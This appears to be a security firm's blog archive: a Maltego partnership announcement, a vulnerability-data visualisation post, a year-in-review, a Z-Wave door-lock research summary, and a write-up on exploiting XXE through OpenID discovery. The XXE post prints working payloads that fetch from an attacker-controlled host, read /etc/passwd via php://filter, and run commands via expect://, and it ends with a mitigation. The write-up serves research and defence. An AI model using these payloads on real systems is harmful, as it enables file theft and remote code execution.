Grey bar Blue bar
Share this:

Tue, 5 Aug 2014

SensePost partners with Paterva to offer improved security intelligence

SENSEPOST PNG on clear
We've been big fans of Maltego and the team at Paterva for a very long time now, and we frequently use this powerful tool for all kinds of fun and interesting stuff, like

We go way back with Andrew and Roelof, who was in fact a founder of SensePost, so today we're super excited to be able to announce a new, strengthened partnership with them under which we have been accredited as an Approved Maltego Solutions Provider. Basically this means the that with Paterva's help we plan to use the powerful Maltego toolset to become better at our job - that is to provide information and information systems to our customer with which they can make sound security decisions. Here's the official news:
SensePost today is proud to announce the completion of a contract that will see the company recognized as the world's first “Approved Maltego Solution Provider” (AMSP) and the exclusive provider of this kind in the UK and Southern Africa.


SensePost was founded in 2000 and has developed into one of the worlds leading Information Security Services companies with offices in London, Cape Town and Pretoria. As trusted advisors it has always been our mission to provide our customers with insight, information and systems to enable them to make strong decisions about Information Security that support their business performance. Whilst this mission has traditionally expressed itself in technical security analysis services like Vulnerability Assessment and Penetration Testing we recognise that the threat landscape is constantly changing and that new and more complex realities necessitate the use of sophisticated new skills, tools and techniques with which to support our clients.


“This strategic alliance perfectly fits the ‘Assess-Detect-Protect-Respond' framework that drives the way we design, sell and deliver our service. It's the perfect evolution of our growing services offering.” says Etienne Greef, CEO of the SensePost group holding company SecureData, who's strategy is at the core of this new initiative.


‘Maltego', built by Paterva, is a powerful suite of software tools used for data mining, link analysis and data visualization, giving the user the ability to extract large volumes of data from diverse sources and then analyze it to understand the patterns and relationships it reveals. In the modern digital age these techniques are used to convert data into information and thereby extract concrete value that can be used for effective decision-making.


Maltego is a highly regarded and popular platform used extensively in Open Source Intelligence Gathering, Infrastructure Analysis for Penetration Testing, Cyber Attack Analysis, Fraud Detection and Investigation, Security Intelligence, Information Security Management, Research and more.


This partnership between SensePost and Paterva (who produce the Maltego software) builds on the companies' shared roots and intellectual heritage and will allow both companies to serve their customers and fulfil their respective missions better.


As an AMSP SensePost will be authorised to provide integration, consulting, support and training for the Maltego tools with full endorsement, support and assistance directly from Paterva. This new capability, combined with an existing wealth of information security skills and experience, uniquely positions SensePost to advise and support clients seeking to exploit the unique strategic advantage the Maltego toolset can offer.


More information on our services and capabilities in this space will follow with our official "launch" in a few weeks time. In the mean, here's a brief summary of our new offering.

Fri, 13 Jun 2014

Using Maltego to explore threat & vulnerability data

This blog post is about the process we went through trying to better interpret the masses of scan results that automated vulnerability scanners and centralised logging systems produce. A good example of the value in getting actionable items out of this data is the recent Target compromise. Their scanning solutions detected the threat that lead to their compromise, but no humans intervened. It's suspected that too many security alerts were being generated on a regular basis to act upon.


The goal of our experiment was to steer away from the usual data interrogation questions of "What are the top N vulnerabilities my scanner has flagged with a high threat?" towards questions like "For how many of my vulnerabilities do public exploits exist?". Near the end of this exercise we stumbled across this BSides talk "Stop Fixing All The Things". Theses researchers took a similar view-point: "As security practitioners, we care about which vulnerabilities matter". Their blog post and video are definitely worth having a look at.


At SensePost we have a Managed Vulnerability Scanning service (MVS). It incorporates numerous scanning agents (e.g. Nessus, Nmap, Netsparker and a few others), and exposes an API to interact with the results. This was our starting point to explore threat related data. We could then couple this data with remote data sources (e.g. CVE data, exploit-db.com data).


We chose to use Maltego to explore the data as it's an incredibly powerful data exploration and visualisation tool, and writing transforms is straight forward. If you'd like to know more about Maltego here are some useful references:


What we ended up building were:

  • Transforms to explore our MVS data

  • A CVE / exploit-db.com API engine

  • Transforms to correlate between scanner data and the created APIs

  • Maltego Machines to combine our transforms


So far our API is able to query a database populated from CVE XML files and data from www.exploit-db.com (they were kind enough to give us access to their CVE inclusive data set). It's a standalone Python program that pulls down the XML files, populates a local database, and then exposes a REST API. We're working on incorporating other sources - threat feeds, other logging/scanning systems. Let us know if you have any ideas. Here's the API in action:


Parsing CVE XML data and exposing REST API
Parsing CVE XML data and exposing REST API


Querying a CVE. We see 4 public exploits are available.
Querying a CVE. We see 4 public exploits are available.


It's also worth noting that for the demonstrations that follow we've obscured our clients' names by applying a salted 'human readable hash' to their names. A side effect is that you'll notice some rather humorous entries in the images and videos that follow.


Jumping into the interesting results, these are some of the tasks that we can perform:


  • Show me all hosts that have a critical vulnerability within the last 30 days

  • Show me vulnerable hosts for which public exploit code exists

  • Show me all hosts for which a vulnerability exists that has the word 'jmx-console' in the description

  • Show me all hosts on in my DMZ that have port 443 open

  • Given a discovered vulnerability on a host, show me all other hosts with the same vulnerability

  • Show me a single diagram depicting every MVS client, weighted by the threat of all scans within the last week

  • Show me a single diagram depicting every MVS client, weighted by the availability of public exploit code

  • Given a CPE, show me all hosts that match it


Clicking the links in the above scenarios will display a screenshot of a solution. Additionally, two video demonstrations with dialog are below.


Retrieving all recent vulnerabilities for a client 'Bravo Tango', and checking one of them to see if there's public exploit code available.
Retrieving all recent vulnerabilities for a client 'Bravo Tango', and checking one of them to see if there's public exploit code available.


Exploring which clients/hosts have which ports open
Exploring which clients/hosts have which ports open


In summary, building 'clever tools' that allow you to combine human insight can be powerful. An experiences analyst with the ability to ask the right questions, and building tools that allows answers to be easily extracted, yields actionable tasks in less time. We're going to start using this approach internally to find new ways to explore the vulnerability data sets of our scanning clients and see how it goes.


In the future, we're working on incorporating other data sources (e.g. LogRhythm, Skybox). We're also upgrading our MVS API - you'll notice a lot of the Maltego queries are cumbersome and slow due to its current linear exploration approach.


The source code for the API, the somewhat PoC Maltego transforms, and the MVS (BroadView) API can be downloaded from our GitHub page, and the MVS API from here. You'll need a paid subscription to incorporate the exploit-db.com data, but it's an initiative definitely worth supporting with a very fair pricing model. They do put significant effort in correlating CVEs. See this page for more information.


Do get in touch with us (or comment below) if you'd like to know more about the technical details, chat about the API (or expand on it), if this is a solution you'd like to deploy, or if you'd just like to say "Hi".

Tue, 28 Jan 2014

Revisting XXE and abusing protocols

Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.

The basic premise behind the vulnerability is that when a user authenticates with a site using OpenID, that site does a 'discovery' of the user's identity. To accomplish this the server contacts the identity server specified by the user, downloads information regarding the identity endpoint and proceeds with authentication. There are two ways that a site may do this discovery process, either through HTML or a YADIS discovery. Now this is where it gets interesting, HTML look-up is simply a HTML document with some meta information contained in the head tags:

1
2
3
4
<head>
<link rel="openid.server" href="http://www.example.com/myendpoint/" />
<link rel="openid2.provider" href="http://www.example.com/myendpoint/" />
</head>
Whereas the Yadis discovery relies on a XRDS document:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<xrds:XRDS
  xmlns:xrds="xri://$xrds"
  xmlns:openid="http://openid.net/xmlns/1.0"
  xmlns="xri://$xrd*($v*2.0)">
  <XRD>
    <Service priority="0">
      <Type>http://openid.net/signon/1.0</Type>
      <URI>http://198.x.x.143:7804:/raw</URI>
      <openid:Delegate>http://198.x.x.143:7804/delegate</openid:Delegate>
    </Service>
  </XRD>
</xrds:XRDS>
Now if you have been paying attention the potential for exploitation should be jumping out at you. XRDS is simply XML and as you may know, when XML is used there is a good chance that an application may be vulnerable to exploitation via XML External Entity (XXE) processing. XXE is explained by OWASP and I'm not going to delve into it here, but the basic premise behind it is that you can specify entities in the XML DTD that when processed by an XML parser get interpreted and 'executed'.

From the description given by Reginaldo the vulnerability would be triggered by having the victim (Facebook) perform the YADIS discovery to a host we control. Our host would serve a tainted XRDS and our XXE would be triggered when the document was parsed by our victim. I whipped together a little PoC XRDS document that would cause the target host to request a second file (198.x.x.143:7806/success.txt) from a server under my control. I ensured that the tainted XRDS was well formed XML and would not cause the parser to fail (a quick check can be done by using http://www.xmlvalidation.com/index.php)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" standalone="no"?>
<!DOCTYPE xrds:XRDS [
  <!ELEMENT xrds:XRDS (XRD)>
  <!ATTLIST xrds:XRDS xmlns:xrds CDATA "xri://$xrds">
  <!ATTLIST xrds:XRDS xmlns:openid CDATA "http://openid.net/xmlns/1.0">
  <!ATTLIST xrds:XRDS xmlns CDATA "xri://$xrd*($v*2.0)">
  <!ELEMENT XRD (Service)*>
  <!ELEMENT Service (Type,URI,openid:Delegate)>
  <!ATTLIST Service priority CDATA "0">
  <!ELEMENT Type (#PCDATA)>
  <!ELEMENT URI (#PCDATA)>
  <!ELEMENT openid:Delegate (#PCDATA)>
  <!ENTITY a SYSTEM 'http://198.x.x.143:7806/success.txt'>
]>

<xrds:XRDS xmlns:xrds="xri://$xrds" xmlns:openid="http://openid.net/xmlns/1.0" xmlns="xri://$xrd*($v*2.0)"> <XRD> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>http://198.x.x.143:7806/raw.xml</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> <Service priority="0"> <Type>http://openid.net/signon/1.0</Type> <URI>&a;</URI> <openid:Delegate>http://198.x.x.143:7806/delegate</openid:Delegate> </Service> </XRD> </xrds:XRDS>

In our example the fist <Service> element would parse correctly as a valid OpenID discovery, while the second <Service> element contains our XXE in the form of <URI>&a;</URI>. To test this we set spun up a standard LAMP instance on DigitalOcean and followed the official installation instructions for a popular, OpenSource, Social platform that allowed for OpenID authentication. And then we tried out our PoC.

"Testing for successful XXE"

It worked! The initial YADIS discovery (orange) was done by our victim (107.x.x.117) and we served up our tainted XRDS document. This resulted in our victim requesting the success.txt file (red). So now we know we have some XXE going on. Next we needed to turn this into something a little more useful and emulate Reginaldo's Facebook success. A small modification was made to our XXE payload by changing the Entity description for our 'a' entity as follows: <!ENTITY a SYSTEM 'php://filter/read=convert.base64-encode/resource=/etc/passwd'>. This will cause the PHP filter function to be applied to our input stream (the file read) before the text was rendered. This served two purposes, firstly to ensure the file we were reading to introduce any XML parsing errors and secondly to make the output a little more user friendly.

The first run with this modified payload didn't yield the expected results and simply resulted in the OpenID discovery being completed and my browser trying to download the identity file. A quick look at the URL, I realised that OpenID expected the identity server to automatically instruct the user's browser to return to the site which initiated the OpenID discovery. As I'd just created a simple python web server with no intelligence, this wasn't happening. Fortunately this behaviour could be emulated by hitting 'back' in the browser and then initiating the OpenID discovery again. Instead of attempting a new discovery, the victim host would use the cached identity response (with our tainted XRDS) and the result was returned in the URL.

"The simple python webserver didn't obey the redirect instruction in the URL and the browser would be stuck at the downloaded identity file."

"Hitting the back button and requesting OpenID login again would result in our XXE data being displayed in the URL."

Finally all we needed to do was base64 decode the result from the URL and we would have the contents of /etc/passwd.

"The decoded base64 string yielded the contents of /etc/passwd"

This left us with the ability to read *any* file on the filesystem, granted we knew the path and that the web server user had permissions to access that file. In the case of this particular platform, an interesting file to read would be config.php which yields the admin username+password as well as the mysql database credentials. The final trick was to try and turn this into RCE as was hinted in the Facebook disclosure. As the platform was written in PHP we could use the expect:// handler to execute code. <!ENTITY a SYSTEM 'expect://id'>, which should execute the system command 'id'. One dependency here is that the expect module is installed and loaded (http://de2.php.net/manual/en/expect.installation.php). Not too sure how often this is the case but other attempts at RCE haven't been too successful. Armed with our new XRDS document we reenact our steps from above and we end up with some code execution.

"RCE - retrieving the current user id"

And Boom goes the dynamite.

All in all a really fun vulnerability to play with and a good reminder that data validation errors don't just occur in the obvious places. All data should be treated as untrusted and tainted, no matter where it originates from. To protect against this form of attack in PHP the following should be set when using the default XML parser:

libxml_disable_entity_loader(true);

A good document with PHP security tips can be found here: http://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html

./et

Mon, 30 Dec 2013

Goodbye to 2013, hello to 2014

With 2013 coming to a close, I thought it pertinent to look back at the year we've had and also forward to what's promising to be an incredibly exciting 2014 for us.


2013 for SensePost, was a year of transition. With a new leadership structure in myself, Shane and Dominic, we had a chance to stamp our style and vision and also learn from Charl and Jaco. One of the first leadership choices was to expand our reach and open our first office in London, aptly in a borough called Hackney. Here, we grew our family and welcomed some amazing people into the plak. After a few short months, we had outgrown the office and needed to look for bigger premises, this time in another aptly named area: Whitechapel (think Jack the Ripper).


Back in South Africa, after moving to bigger premises down the road, we finally got a chance to make it feel like home. These two new offices have allowed us to continue to grow at a steady pace, whilst still keeping the SensePost vision and vibe alive.


On a technical level, as this is what we are really about, we've had an amazing year. As part of this new vision, we made some key appointments:


Craig Swan, who originally was part of the assessments team and left, returned home to assume the role of Training Manager. On a training front, we've had one of the busiest years to date. From Blackhat in Las Vegas, Brasil and Seattle, to 44Con in London, for our friends in the US and our courses held in Southern Africa, we've trained hundreds of students in the art of offensive security. We've also created two new courses for the Hacking by Numbers series, one concentrating on mobile assessments and the other on malware reverse engineering. However, we are not resting on our laurels and with Craig on-board, 2014 is looking like being an amazing year for education at SensePost.


Victor Tadden, an experienced technical Project Manager, joined the assessment team to help us be more efficient with our delivery of projects. He brings with him a wealth of software dev experience and has already made a significant impact in the way we work, especially managing to wrangle pen testers together daily for scrum meetings, a feat many will tell you is akin to herding cats.


Tiago Rosado joined us from Portugal to head up our Managed Vulnerability Service, a key service line that many of our clients rely on for a more holistic view of their security posture. Our MVS service line is being revamped for 2014 and Tiago will help us achieve this.


Marc Peiser became our IT Manager and with him, brought a wealth of UNIX experience, having worked for a massive global bank. Marc's aim for 2014 is to ensure that our internal networks are not only robust but also allow us to do what we do. Surprisingly enough, we are frequently attacked and having defense in depth approach to IT is as important to us as it is to our clients.


Internally, we've welcomed some new family members, said goodbye to some.We value those who choose to work here very highly, we want work to be a creative environment where people can have fun, grow and most importantly enjoy coming to work. Nothing makes me more proud than seeing a plakker accepting new challenges, often defining the way the security industry works, or helping others with their security needs. As the penetration industry matures, one of my main goals for 2014 is to ensure that our proven hacker ethos remains.



2013 saw us presenting at conferences throughout the year and for the first time in our history, in a total of eight different countries over five continents. Our research included vulnerabilities in the Internet of things, distributed surveillance frameworks, security analysis of the Trustzone OS and Mobicore and finally using Spatial Statistics to detect Fast-Flux botnet Command and Control (C2) domains.


Technical prowess is still at the very heart of what we do at SensePost. We love to pwn and 2014 will see us continuing to write new tools, approach old problems with a new way of thinking and just being, well, us.


In November, after months of negotiations, came the news that we were to be acquired by SecureData Europe. This new chapter for us will usher in a new era of growth and development for us at SensePost and we are truly excited to be part of the SecureData Europe family.


Overall it was a fantastic year, especially for us, the new EXCO. I am extremely proud to stand alongside some incredibly talented people and call them colleagues and look forward to 2014 and what it brings.


From everyone at SensePost, we wish you a Merry Christmas and best wishes for the New Year.

Mon, 19 Aug 2013

BlackHat Conference: Z-Wave Security

We are publishing the research paper and tool for our BlackHat 2013 USA talk on the Z-Wave proprietary wireless protocol security. The paper introduces our Z-Wave packet interception and injection toolkit (Z-Force) that was used to analyze the security layer of Z-Wave protocol stack and discover the implementation details of the frame encryption, data origin authentication and key establishment process. We developed the Z-Force module to perform security tests against the implementation of the Z-Wave security layer in encrypted home automation devices such as a door locks. The paper describes the details of a critical vulnerability discovered in a Z-Wave door lock that could enable an attacker to remotely take full control of the target device without knowledge of the network encryption key. The Z-Force download archive contains the GUI program and two radio firmware files for the receiver and transmitter TI CC1110 boards.
This research will also be presented at 44Con 2013 in London next month, followed by the release of Z-Force source code and US frequency support (908.4 MHz) in the firmware.


Link to conference page and paper: http://research.sensepost.com/conferences/2013/bh_zwave
Link to Z-Force project and download page: http://research.sensepost.com/tools/embedded/zforce